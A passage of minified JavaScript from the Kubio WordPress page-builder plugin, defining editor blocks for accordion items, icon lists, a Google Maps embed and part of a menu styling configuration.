0!==arguments[0]?arguments[0]:{};const{clientId:t,originalSlug:o,normalIcon:n,activeIcon:a,openByDefault:l,iconPosition:r}=e,i=()=>`h-accordion-item-title-icon--${r}`;return{[Pv]:{},[Tv]:{tag:"a",href:()=>`#${t}`,"data-open-by-default":()=>l+"","data-slug":o},[Sv]:{name:()=>n,className:()=>i()},[wv]:{name:()=>a,className:()=>i()}}})),Object(He.withRedirectSelectionToParent)()),Nv=Bv((e=>{let{computed:t,StyledElements:o}=e;const{title:n,clientId:a,openByDefault:l}=t,{setActiveItem:r,currentAccordionSlugs:i}=ov(),c=Object(xe.useRef)(),s=$o({ref:c},{templateLock:!1}),u=Object(xe.useCallback)((()=>{r(a)}),[r]),p=i.includes(a);return Object(xe.createElement)(o.Outer,null,Object(xe.createElement)(o.Title,{onClick:u,className:$e()({"accordion-active":p,"h-custom-active-state":p})},Object(xe.createElement)(o.IconNormal,{tag:Re.CanvasIcon}),Object(xe.createElement)(o.IconActive,{tag:Re.CanvasIcon}),Object(xe.createElement)(o.TitleText,null,n)),Object(xe.createElement)(o.Content,s))}));const xv={name:"kubio/accordionitem",category:"kubio-basic",usesContext:["normalIcon","activeIcon","iconPosition"],parent:["kubio/accordion"],attributes:{kubio:{type:"object"},slug:{type:"string",default:"accordion-title"},title:{type:"string",default:"Accordion item"},openByDefault:{type:"boolean",default:!1}},supports:{kubio:{appearanceEffect:!0,default:{style:{},props:{}},elementsEnum:{OUTER:"outer",TITLE:"title",ICON_NORMAL:"iconNormal",ICON_ACTIVE:"iconActive",TITLE_TEXT:"titleText",CONTENT:"content"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["h-accordion-item"]}},title:{prefixWithTag:!0,props:{tag:"a",className:["h-accordion-item-title","d-flex","align-items-center","h-global-transition"]}},iconNormal:{props:{tag:"icon",className:["h-accordion-item-title-normal-icon","h-accordion-item-title-icon"]}},iconActive:{props:{tag:"icon",className:["h-accordion-item-title-active-icon","h-accordion-item-title-icon"]}},titleText:{props:{className:["h-accordion-item-title__text"]}},content:{props:{className:["h-accordion-item-content__container","h-y-container"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"title"},children:[{type:"element",props:{name:"iconNormal"}},{type:"element",props:{name:"iconActive"}},{type:"element",props:{name:"titleText"}}]},{type:"element",props:{name:"content"},children:[{type:"wp:InnerBlocks"}]}]}}}},Rv=Object(nn.extendBlockMeta)(xv,{title:Object(We.__)("Accordion item","kubio"),icon:on.BlockIcons.Accordion,apiVersion:2,supports:{kubio:{elementsByName:Av},reusable:!1,html:!1,lightBlockWrapper:!0},edit:function(e){const t=ov(),{accordionClientId:o}=t,n={clientId:o};return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:o},Object(xe.createElement)(pv,n),Object(xe.createElement)(jv,n)),Object(xe.createElement)(Nv,e))},save:function(e){return Object(xe.createElement)(De.InnerBlocks.Content,null)}}),Dv={Accordion:Y,AccordionItem:$},Lv=Object(He.withComputedData)((e=>Object(xe.useMemo)((()=>{const t=e.getAttribute("icon"),o={value:e.getAttribute("useForAll"),onChange:o=>{e.withSiblings().forEach((e=>{o&&t&&e.setAttribute("icon",t),e.setAttribute("useForAll",o)}))}};return{text:{value:e.getAttribute("text"),onChange:t=>{e.setAttribute("text",t)}},icon:{value:e.getAttribute("icon"),onChange:t=>{e.getAttribute("useForAll")&&e.withSiblings().forEach((e=>{e.setAttribute("icon",t)})),e.setAttribute("icon",t)},type:He.WithDataPathTypes.ATTRIBUTE},link:{value:e.getAttribute("link"),onChange:t=>{e.setAttribute("link",t)}},useForAllProps:o}}),[e])))((e=>{const{computed:t}=e,{text:o,useForAllProps:n,icon:a}=t;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.IconPicker,Object(ut.a)({path:"icon"},a)),Object(xe.createElement)(Re.TextareaControl,Object(ut.a)({label:Object(We.__)("Text","kubio")},o)),Object(xe.createElement)(Re.ToggleControl,Object(ut.a)({label:Object(We.__)("Use this icon for all items","kubio")},n)),Object(xe.createElement)(Re.LinkControlWithData,null))})),Mv="row",Wv=[{value:"column",label:Object(We.__)("Vertical","kubio"),icon:on.MoreVerticalMobile},{value:Mv,label:Object(We.__)("Horizontal","kubio"),icon:on.MoreHorizontalMobile}],Hv=(Object(We.__)("None","kubio"),Object(We.__)("Solid","kubio"),Object(We.__)("Dashed","kubio"),Object(We.__)("Dotted","kubio"),Object(We.__)("Double","kubio"),Object(We.__)("Groove","kubio"),Object(We.__)("Ridge","kubio"),Object(We.__)("Inset","kubio"),Object(We.__)("Outset","kubio"),[{value:"flex-start",label:Object(We.__)("Top","kubio"),icon:on.VerticalAlignTop},{value:"center",label:Object(We.__)("Middle","kubio"),icon:on.VerticalAlignMiddle},{value:"flex-end",label:Object(We.__)("Bottom","kubio"),icon:on.VerticalAlignBottom}]),Gv=[{value:"flex-start",label:Object(We.__)("Left","kubio"),icon:on.HorizontalAlignLeft},{value:"center",label:Object(We.__)("Middle","kubio"),icon:on.HorizontalAlignCenter},{value:"flex-end",label:Object(We.__)("Right","kubio"),icon:on.HorizontalAlignRight}],Uv="outer",Fv="item",zv="link",Vv="icon",Yv="text",$v="divider",Kv="divider-wrapper",qv="text-wrapper",Xv={[Uv]:{label:Object(We.__)("List Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:["normal","hover"]}},[qv]:{label:Object(We.__)("List Item","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:["normal","hover"]}},[Yv]:{label:Object(We.__)("Text","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:["normal","hover"]}},[Vv]:{label:Object(We.__)("Icon","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:["normal","hover"]}},[zv]:{label:Object(We.__)("Links","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:["normal","hover","visited"]}},[$v]:{internal:!0},[Fv]:{label:Object(We.__)("Item Wrapper","kubio"),internal:!0},[Kv]:{label:Object(We.__)("Divider Wrapper","kubio"),internal:!0}},Qv={styledComponent:Uv},Zv={styledComponent:qv},Jv=Object(Me.compose)(Object(He.withComputedData)((e=>{const t={value:e.getStyle("alignItems",null,Zv),onChange:t=>{e.setStyle("alignItems",t,Zv)}};return{listLayout:(()=>{const t={value:0,unit:"px"};return{value:e.getStyle("flexDirection",null,{styledComponent:Uv}),onChange:o=>{const n=[{getPath:"padding.bottom",setPath:"padding.right",styledComponent:Fv},{getPath:"padding.bottom",setPath:"padding.right",styledComponent:Kv},{getPath:"padding.top",setPath:"padding.left",styledComponent:Kv},{getPath:"border.bottom.width",setPath:"border.left.width",styledComponent:$v},{getPath:"width",setPath:"height",unsetValue:"auto",styledComponent:$v}],a=n.map((e=>{const{getPath:t,setPath:o}=e;return{...e,getPath:o,setPath:t}})),l=o===Mv?n:a;e.setStyle("flexDirection",o,{styledComponent:Uv}),l.forEach((o=>{const{unsetOriginal:n=!1}=o,a={styledComponent:o.styledComponent},l=e.getStyle(o.getPath,null,a);e.setStyle(o.setPath,l,a);const r=Ne.a.get(o,"unsetValue",t);e.setStyle(o.getPath,r,a)}))}}})(),verticalAlignProps:t,horizontalAlignProps:{value:e.getStyle("justifyContent",null,Qv),onChange:t=>{e.setStyle("justifyContent",t,Qv),e.setStyle("alignContent",t,Qv)}},iconGetter:e=>e.getAttribute("icon")}})))((e=>{let{computed:t,clientId:o}=e;const{iconGetter:n,horizontalAlignProps:a,verticalAlignProps:l,listLayout:r}=t;return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Icon List Properties","kubio")},Object(xe.createElement)(Re.ToggleGroup,Object(ut.a)({label:Object(We.__)("Icon align","kubio")},l,{options:Hv,allowReset:!0})),Object(xe.createElement)(Re.ToggleGroup,Object(ut.a)({label:Object(We.__)("List Layout","kubio"),options:Wv},r)),Object(xe.createElement)(Re.ToggleGroup,Object(ut.a)({label:Object(We.__)("Horizontal Align","kubio"),options:Gv},a,{allowReset:!0})),Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:o},Object(xe.createElement)(Re.SortableCollapseGroupWithData,{iconGetter:n},(e=>Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:null==e?void 0:e.clientId},Object(xe.createElement)(Lv,null))))))})),e_=e=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(Jv,e)),t_=Object(Me.compose)(Object(He.withComputedData)((e=>({size:(()=>{const t={styledComponent:Vv};return{value:e.getStyle("width",null,t),onChange:o=>{e.setStyle("width",o,t),e.setStyle("height",o,t)},onReset:()=>{const o={...t,unset:!0};e.setStyle("width",null,o),e.setStyle("height",null,o)}}})()}))))((e=>{let{computed:t}=e;const{size:o}=t;return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Icon","kubio"),initialOpen:!1},Object(xe.createElement)(Re.ColorWithPath,{label:Object(We.__)("Icon color","kubio"),path:"fill",style:Vv,type:He.WithDataPathTypes.STYLE}),Object(xe.createElement)(Re.ColorWithPath,{label:Object(We.__)("Icon hover color","kubio"),path:"fill",state:"hover",style:Vv,type:He.WithDataPathTypes.STYLE}),Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({label:Object(We.__)("Icon size","kubio"),max:100},o)),Object(xe.createElement)(Re.RangeWithUnitWithPath,{label:Object(We.__)("Icon indent","kubio"),max:100,default:20,path:"padding.left",style:Vv,type:He.WithDataPathTypes.STYLE}))})),o_=()=>Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Text","kubio"),initialOpen:!1},Object(xe.createElement)(Re.TypographyControlPopupWithPath,{path:"typography",type:He.WithDataPathTypes.STYLE,style:Yv}),Object(xe.createElement)(Re.ColorWithPath,{label:Object(We.__)("Text color","kubio"),path:"color",type:He.WithDataPathTypes.STYLE,style:Yv}),Object(xe.createElement)(Re.RangeWithUnitWithPath,{label:Object(We.__)("Text indent","kubio"),max:100,path:"margin.left",style:Yv,type:He.WithDataPathTypes.STYLE}),Object(xe.createElement)(Re.ColorWithPath,{label:Object(We.__)("Link hover color","kubio"),path:"typography.color",type:He.WithDataPathTypes.STYLE,style:zv,state:"hover"})),n_=Object(Me.compose)(Object(He.withComputedData)((e=>{const t=e.getProp("divider"),o=e.getStyle("flexDirection",null,{styledComponent:Uv})===Mv,n=(()=>{const t={styledComponent:Kv},n=o?"padding.left":"padding.top",a=e.getStyle(n,null,t),l=n=>{let a=["top","bottom","left","right"].reduce(((e,t)=>{Ne.a.set(e,[t,"value"],0)}),{});a=o?Ne.a.merge(a,{left:n,right:n}):Ne.a.merge(a,{top:n,bottom:n}),e.setStyle("padding",a,t)};return{value:a,onChange:l,onReset:()=>{l({unit:"px",value:10})}}})(),a=o?"left":"bottom",l=o?"bottom":"left",r={sides:[a]};return{border:(()=>{const t={styledComponent:$v};return{value:e.getStyle("border",{},t),onChange:o=>{const n=Ne.a.get(o,a),r=Ne.a.cloneDeep(n);Ne.a.set(r,["width","value"],0),Ne.a.set(o,l,r),e.setStyle("border",o,t)},onReset:()=>{const o={style:"solid",color:"rgb(0,0,0)",width:{value:1,unit:"px"}},n={};["bottom"].forEach((e=>{Ne.a.set(n,e,o)})),e.setStyle("border",n,{...t,mergeData:!1})}}})(),dividerSize:(()=>{const t=o?Object(We.__)("Height","kubio"):Object(We.__)("Width","kubio"),n=o?"height":"width",a={styledComponent:$v};return{label:t,value:e.getStyle(n,null,a),onChange:t=>{e.setStyle(n,t,a)},onReset:()=>{e.setStyle(n,{value:100,unit:"%"},a)}}})(),borderFilters:r,spacingData:n,divider:t}})))((e=>{let{computed:t}=e;const{divider:o,spacingData:n,border:a,borderFilters:l,dividerSize:r}=t;return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("List","kubio")},Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({label:Object(We.__)("Item spacing","kubio")},n)),Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Divider","kubio"),type:He.WithDataPathTypes.PROP,path:"divider.enabled"}),o.enabled&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.BorderControl,Object(ut.a)({},a,{showLabel:!1,showIcon:!1,filters:l})),Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({defaultUnit:"%",min:0,max:100,capMax:!0,capMin:!0},r))))})),a_=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(n_,null),Object(xe.createElement)(t_,null),Object(xe.createElement)(o_,null)),l_=e=>{const{clientId:t}=e,{insertBlocks:o,selectBlock:n}=Object(Ve.useDispatch)("core/block-editor"),{getBlock:a}=Object(Ve.useSelect)((e=>{const{getBlock:t}=e("core/block-editor");return{getBlock:t}}));return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(De.BlockControls,null,Object(xe.createElement)(Le.ToolbarGroup,null,Object(xe.createElement)(Le.ToolbarButton,{icon:ma,title:Object(We.__)("Add","kubio"),onClick:()=>{const e=a(t);if(e.innerBlocks.length<1)return;const l=Object(Ge.cloneBlock)(e.innerBlocks[e.innerBlocks.length-1]);o([l],e.innerBlocks.length,t,!0),n(t)}}))))},r_=[Yo.ICON_LIST_ITEM],i_={styledComponent:Uv},c_=Object(Me.compose)(Object(He.withColibriDataAutoSave)((e=>({listLayoutByMedia:e.getStyleByMedia("flexDirection","",i_)}))),Object(He.withStyledElements)((e=>{let{computed:t}=e;const{listLayoutByMedia:o}=t;return{[Uv]:()=>{const e={column:"vertical",row:"horizontal"},t=[];return Ne.a.each(o,((o,n)=>{const a=e[o];t.push(`list-type-${a}-on-${n}`)})),{className:t}}}})))((e=>{const{StyledElements:t,clientId:o,isSelected:n}=e,a=$o({},{templateLock:!1,renderAppender:!1,allowedBlocks:r_,__experimentalAppenderTagName:"li"});return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(l_,{isSelected:n,clientId:o}),Object(xe.createElement)(t.Outer,a))}));var s_=Object(He.withPropsChecker)((function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(e_,e),Object(xe.createElement)(a_,e),Object(xe.createElement)(c_,e))}));const u_=Object(We.__)("Create beautiful lists of items and their icons. Style their spacing, borders, shadows, color, and typography.","kubio"),p_={name:"kubio/iconlist",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{descendants:{outer:{flexDirection:"column",justifyContent:"center",alignContent:"center"},item:{},icon:{width:{value:16,unit:"px"},height:{value:16,unit:"px"}},text:{margin:{left:{unit:"px",value:10}}},"divider-wrapper":{alignItems:"center"},"text-wrapper":{alignItems:"center"},divider:{border:{bottom:{style:"solid",width:{value:1,unit:"px"}},left:{style:"solid",width:{value:1,unit:"px"}}}}}},props:{divider:{enabled:!1}}},elementsEnum:{OUTER:"outer",ITEM:"item",LINK:"link",ICON:"icon",TEXT:"text",DIVIDER:"divider",DIVIDERWRAPPER:"divider-wrapper",TEXTWRAPPER:"text-wrapper"},elementsByName:{outer:{wrapper:!0,default:!0,props:{tag:"ul",className:"ul-list-icon"}},item:{selector:" .wp-block-kubio-iconlistitem__item"},text:{selector:".wp-block-kubio-iconlistitem__text"},"text-wrapper":{selector:" .wp-block-kubio-iconlistitem__text-wrapper"},icon:{selector:".wp-block-kubio-iconlistitem__icon"},link:{selector:{normal:"a",hover:"a:hover, a:hover .wp-block-kubio-iconlistitem__text",visited:"a:visited, a:visited .wp-block-kubio-iconlistitem__text"}},divider:{selector:" .wp-block-kubio-iconlistitem__divider"},"divider-wrapper":{selector:" .wp-block-kubio-iconlistitem__divider-wrapper"}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},b_=Object(nn.extendBlockMeta)(p_,{title:Object(We.__)("Icon List","kubio"),icon:on.BlockIcons.IconList,keywords:[Object(We.__)("icon","kubio"),Object(We.__)("list","kubio")],apiVersion:2,supports:{kubio:{elementsByName:Xv},reusable:!1,html:!1},edit:s_,save:function(){return Object(xe.createElement)(De.InnerBlocks.Content,null)},variationsFilter:e=>null!=e&&e.isDefault?{...e,description:u_}:e,innerBlocksDisableInBetweenInserter:!0}),m_={ITEM:"item",LINK:"link",ICON:"icon",TEXT:"text",DIVIDER:"divider",DIVIDERWRAPPER:"divider-wrapper",TEXTWRAPPER:"text-wrapper"},d_={[m_.OUTER]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:["normal","hover"]}},[m_.ITEM]:{label:Object(We.__)("Item wrapper","kubio"),internal:!0},[m_.TEXTWRAPPER]:{label:Object(We.__)("Item","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:["normal","hover"]}},[m_.DIVIDER]:{label:Object(We.__)("Divider","kubio"),supports:{styles:[cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:["normal"]}}},h_=Object(Me.compose)(Object(Ve.withSelect)(((e,t)=>{let{clientId:o}=t;const n=e("core/block-editor").getBlockRootClientId(o);return{siblings:e("core/block-editor").getBlocks(n)}})),Object(He.refreshOnParentChange)(!0),Object(He.withColibriDataAutoSave)(((e,t)=>{const o=e.withParent().getProp("divider.enabled"),n=e.withSiblings(),a=Ne.a.get(n,[0,"clientId"])===e.clientId,l=Ne.a.get(n,[n.length-1,"clientId"])===e.clientId;let r=e.getAttribute("text");return r=r.replace(/\r?\n/g,"<br />"),{isLastChild:l,isFirstChild:a,icon:e.getAttribute("icon"),link:e.getAttribute("link"),text:r,dividerEnabled:o}})),Object(He.withStyledElements)((function(){let{computed:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const{icon:t}=e;return{[m_.ICON]:{name:t}}})),Object(He.withRedirectSelectionToParent)()),O_=h_((e=>{const{StyledElements:t,computed:o,parentData:n}=e,{isLastChild:a,isFirstChild:l,text:r,link:i,dividerEnabled:c}=o;return Object(xe.createElement)(t.Item,null,l&&Object(xe.createElement)(t.DividerWrapper,{className:"first-el-spacer"}),Object(xe.createElement)(Re.LinkWrapper,{link:i},Object(xe.createElement)(t.TextWrapper,null,Object(xe.createElement)(t.Icon,{tag:Re.CanvasIcon}),Object(xe.createElement)(t.Text,{dangerouslySetInnerHTML:{__html:r}}))),a&&Object(xe.createElement)(t.DividerWrapper,{className:"last-el-spacer"}),Object(xe.createElement)(t.DividerWrapper,null,c&&Object(xe.createElement)(t.Divider,null)))}));var g_=Object(He.withPropsChecker)((function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(O_,e))}));const y_={name:"kubio/iconlistitem",category:"kubio-basic",usesContext:["text","icon"],parent:["kubio/iconlist"],attributes:{kubio:{type:"object"},text:{type:"string",source:"html",default:"Icon List item"},icon:{type:"string",default:"font-awesome/plus"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},useForAll:{type:"boolean",default:!1}},supports:{kubio:{appearanceEffect:!0,default:{style:{},props:{}},elementsEnum:{ITEM:"item",LINK:"link",ICON:"icon",TEXT:"text",DIVIDER:"divider",DIVIDERWRAPPER:"divider-wrapper",TEXTWRAPPER:"text-wrapper"},elementsByName:{item:{wrapper:!1,default:!0,props:{tag:"li"}},link:{props:{tag:"a"}},icon:{props:{tag:"icon"}},text:{props:{tag:"span"}},"text-wrapper":{},"divider-wrapper":{},divider:{}},template:{type:"element",props:{name:"item"},children:[{type:"element",props:{name:"divider-wrapper",className:["first-el-spacer"],shouldRender:"computed.isFirstChild"}},{type:"LinkWrapper",children:[{type:"element",props:{name:"text-wrapper"},children:[{type:"element",props:{name:"icon"}},{type:"element",props:{name:"text"}}]}]},{type:"element",props:{name:"divider-wrapper",className:["last-el-spacer"],shouldRender:"computed.isLastChild"}},{type:"element",props:{name:"divider-wrapper"},children:[{type:"element",props:{name:"divider",shouldRender:"computed.dividerEnabled"}}]}]}}}},j_=Object(nn.extendBlockMeta)(y_,{title:Object(We.__)("Icon list item","kubio"),icon:on.BlockIcons.IconList,apiVersion:2,supports:{kubio:{elementsByName:d_},reusable:!1,html:!1,lightBlockWrapper:!0},edit:g_,save:e=>{let{attributes:t}=e;return Object(xe.createElement)(De.RichText.Content,{value:t.text})}}),k_={IconListComponent:K,IconListItem:q};var E_=o(191),f_=o.n(E_),v_=function(){return v_=Object.assign||function(e){for(var t,o=1,n=arguments.length;o<n;o++)for(var a in t=arguments[o])Object.prototype.hasOwnProperty.call(t,a)&&(e[a]=t[a]);return e},v_.apply(this,arguments)},C_=function(e){for(var t=e.url,o=e.allowFullScreen,n=e.position,a=e.display,l=e.height,r=e.width,i=e.overflow,c=e.styles,s=e.onLoad,u=e.onMouseOver,p=e.onMouseOut,b=e.scrolling,m=e.id,d=e.frameBorder,h=e.ariaHidden,O=e.sandbox,g=e.allow,y=e.className,j=e.title,k=e.ariaLabel,E=e.ariaLabelledby,f=e.name,v=e.target,_=e.loading,C=e.importance,I=e.referrerpolicy,T=e.allowpaymentrequest,S=e.src,w=f_()({src:S||t,target:v||null,style:{position:n||null,display:a||"block",overflow:i||null},scrolling:b||null,allowpaymentrequest:T||null,importance:C||null,sandbox:O||null,loading:_||null,styles:c||null,name:f||null,className:y||null,referrerpolicy:I||null,title:j||null,allow:g||null,id:m||null,"aria-labelledby":E||null,"aria-hidden":h||null,"aria-label":k||null,width:r||null,height:l||null,onLoad:s||null,onMouseOver:u||null,onMouseOut:p||null}),P=Object.create(null),A=0,B=Object.keys(w);A<B.length;A++){var N=B[A];null!=w[N]&&(P[N]=w[N])}for(var x=0,R=Object.keys(P.style);x<R.length;x++){var D=R[x];null==P.style[D]&&delete P.style[D]}if(o)if("allow"in P){var L=P.allow.replace("fullscreen","");P.allow=("fullscreen "+L.trim()).trim()}else P.allow="fullscreen";return d>=0&&(P.style.hasOwnProperty("border")||(P.style.border=d)),Or.a.createElement("iframe",v_({},P))};const I_="outer",T_="wrapper",S_="iframe",w_={[I_]:{label:Object(We.__)("Outer","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:["normal","hover"]}},[T_]:{label:Object(We.__)("Wrapper","kubio"),internal:!0},[S_]:{label:Object(We.__)("Iframe","kubio"),internal:!0}},P_=Object(Me.compose)(Object(He.withColibriData)((e=>{let t=e.getAttribute("address");t||(t="New York");const o=e.getAttribute("zoom");return{address:t,apiKey:e.getAttribute("apiKey"),zoom:o}})),Object(He.withStyledElements)((function(){let{computed:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const{address:t,zoom:o,apiKey:n}=e,a=e=>Object.entries(e).map((e=>e.map(encodeURIComponent).join("="))).join("&");let l;return l=n?"https://www.google.com/maps/embed/v1/place?"+a({key:n,q:t,zoom:null==o?void 0:o.value}):"https://maps.google.com/maps?"+a({q:t,z:null==o?void 0:o.value,output:"embed",iwloc:"near"}),{[I_]:{},[T_]:{},[S_]:{src:l,loading:"lazy"}}}))),A_=P_((e=>{const{StyledElements:t}=e;return Object(xe.createElement)(t.Outer,null,Object(xe.createElement)(t.Wrapper,null,Object(xe.createElement)(t.Iframe,{tag:C_})))})),B_={units:[{label:"PX",value:"px"}],optionsByUnit:{px:{min:200,max:1e3,step:1}}};var N_=()=>Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Map Properties","kubio")},Object(xe.createElement)(Re.InputControlWithPath,{label:Object(We.__)("Address","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"address"}),Object(xe.createElement)(Re.RangeWithUnitWithPath,{label:Object(We.__)("Zoom","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,max:15,min:1,path:"zoom"}),Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Height","kubio"),type:He.WithDataPathTypes.STYLE,style:I_,max:1e3,min:200,default:350,capMin:!0,path:"height"},B_)),Object(xe.createElement)(Le.BaseControl,null,Object(xe.createElement)(Le.BaseControl.VisualLabel,null,"API key (",Object(xe.createElement)("a",{href:"https://developers.google.com/maps/documentation/embed/get-api-key",target:"_blank",rel:"noreferrer"},"Get your API key here"),")")),Object(xe.createElement)(Re.InputControlWithPath,{type:He.WithDataPathTypes.ATTRIBUTE,path:"apiKey"}));const x_=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(N_,null));var R_=Object(He.withPropsChecker)((e=>Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(x_,null),Object(xe.createElement)(A_,e))));const D_={name:"kubio/map",category:"kubio-components",attributes:{kubio:{type:"object"},address:{type:"string",default:"New York"},apiKey:{type:"string",default:""},zoom:{type:"object",default:{value:5}}},supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{outer:{height:{value:350,unit:"px"}}}}},elementsEnum:{OUTER:"outer",WRAPPER:"wrapper",IFRAME:"iframe"},elementsByName:{outer:{wrapper:!0,default:!0},wrapper:{},iframe:{props:{className:["map-iframe"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"wrapper"},children:[{type:"element",props:{name:"iframe",tag:"iframe"}}]}]}}}},L_=Object(nn.extendBlockMeta)(D_,{title:Object(We.__)("Map","kubio"),description:Object(We.__)("Embed Google Maps, insert your desired address, adjust zoom, height, and hover behavior.","kubio"),icon:on.BlockIcons.Map,keywords:[Object(We.__)("map","kubio"),Object(We.__)("google map","kubio"),Object(We.__)("location","kubio"),Object(We.__)("address","kubio")],apiVersion:2,supports:{kubio:{elementsByName:w_},reusable:!1,html:!1},edit:R_});var M_=o(56);const W_=["header-menu","footer-menu"],H_=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"";const o=Object(xe.useRef)(null);return o.current=Object(Ve.useSelect)((n=>{if(null!==o.current)return o.current;const{getBlockParents:a,getBlock:l,getClientIdsWithDescendants:r,getBlocksByClientId:i}=n("core/block-editor"),c=a(e),s=l(Object(Be.first)(c)),u=i(r([e])),{location:p}=l(e).attributes;let b="",m=!1;if(u.filter(Boolean).forEach((e=>{const t=Object(Be.get)(e,"attributes.location",null);e&&"kubio/menu-items"===(null==e?void 0:e.name)&&W_.includes(t)&&(m=!0)})),Object(un.isGutentagPrefixed)(null==s?void 0:s.name)){if(-1!==s.name.indexOf("/header")){if(p&&-1!==p.indexOf("header"))return p;b=m?"header-menu-secondary":"header-menu"}if(-1!==s.name.indexOf("/footer")){if(p&&-1!==p.indexOf("footer"))return p;b=m?"footer-menu-secondary":"footer-menu"}}return b||t}),[e]),Object(xe.useMemo)((()=>o.current),[e])},G_=e=>-1!==[Yo.DROPDOWN_MENU,Yo.ACCORDION_MENU].indexOf(e),U_=Object(He.withHooks)(((e,t)=>{var o,n,a,l,r,i;const{getBlockParents:c,getBlocksByClientId:s,getBlock:u,getBlocks:p}=t("core/block-editor"),{clientId:b,name:m}=e,d=s(c(b));let h;h=G_(m)?u(b):Object(Be.last)(Object(Be.filter)(d,(e=>(null==e?void 0:e.name)&&G_(e.name))));const O=Object(Be.find)(null===(o=h)||void 0===o?void 0:o.innerBlocks,{name:Yo.MENU_ITEMS}),g=Object(Be.find)(p(null===(n=h)||void 0===n?void 0:n.clientId),{name:Yo.MENU_OFFSCREEN}),{menuLocations:y}=Object(M_.useMenusLocations)(),j=null==O||null===(a=O.attributes)||void 0===a?void 0:a.location,k=j?y.filter((e=>{let{name:t}=e;return t===j})).map((e=>{let{menu:t}=e;return t}))[0]:null==O||null===(l=O.attributes)||void 0===l?void 0:l.id;return Object(xe.useMemo)((()=>{var e,t;return{menuClientId:null===(e=h)||void 0===e?void 0:e.clientId,menuLocation:j,menuId:k,menuName:null===(t=h)||void 0===t?void 0:t.name,menuItemsClientId:null==O?void 0:O.clientId,offscreenClientId:null==g?void 0:g.clientId}}),[null===(r=h)||void 0===r?void 0:r.clientId,null===(i=h)||void 0===i?void 0:i.name,j,k,null==O?void 0:O.clientId,null==g?void 0:g.clientId])})),F_="main-menu-ul",z_="main-menu-li",V_="main-menu-a",Y_="main-menu-icon",$_="sub-menu-ul",K_="sub-menu-li",q_="sub-menu-a",X_="sub-menu-icon",Q_="first-sub-menu-ul-before",Z_="first-sub-menu-ul",J_={[F_]:{label:Object(We.__)("Main menu","kubio"),group:{key:"main-menu",label:Object(We.__)("Main menu ","kubio")},supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER],states:[cn.StatesEnum.NORMAL]}},[z_]:{label:Object(We.__)("Menu item","kubio"),selector:{[cn.StatesEnum.NORMAL]:"> .kubio-menu > ul > li"},supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER],states:[cn.StatesEnum.NORMAL]}},[V_]:{label:Object(We.__)("Menu item link","kubio"),selector:{[cn.StatesEnum.NORMAL]:"> .kubio-menu > ul > li > .kubio-menu-item-link",[cn.StatesEnum.HOVER]:"> .kubio-menu > ul > li:hover > .kubio-menu-item-link",[cn.StatesEnum.MENU_BUTTON_ACTIVE]:["> .kubio-menu > ul > li.current-menu-item > .kubio-menu-item-link","> .kubio-menu > ul > li.current_page_item > 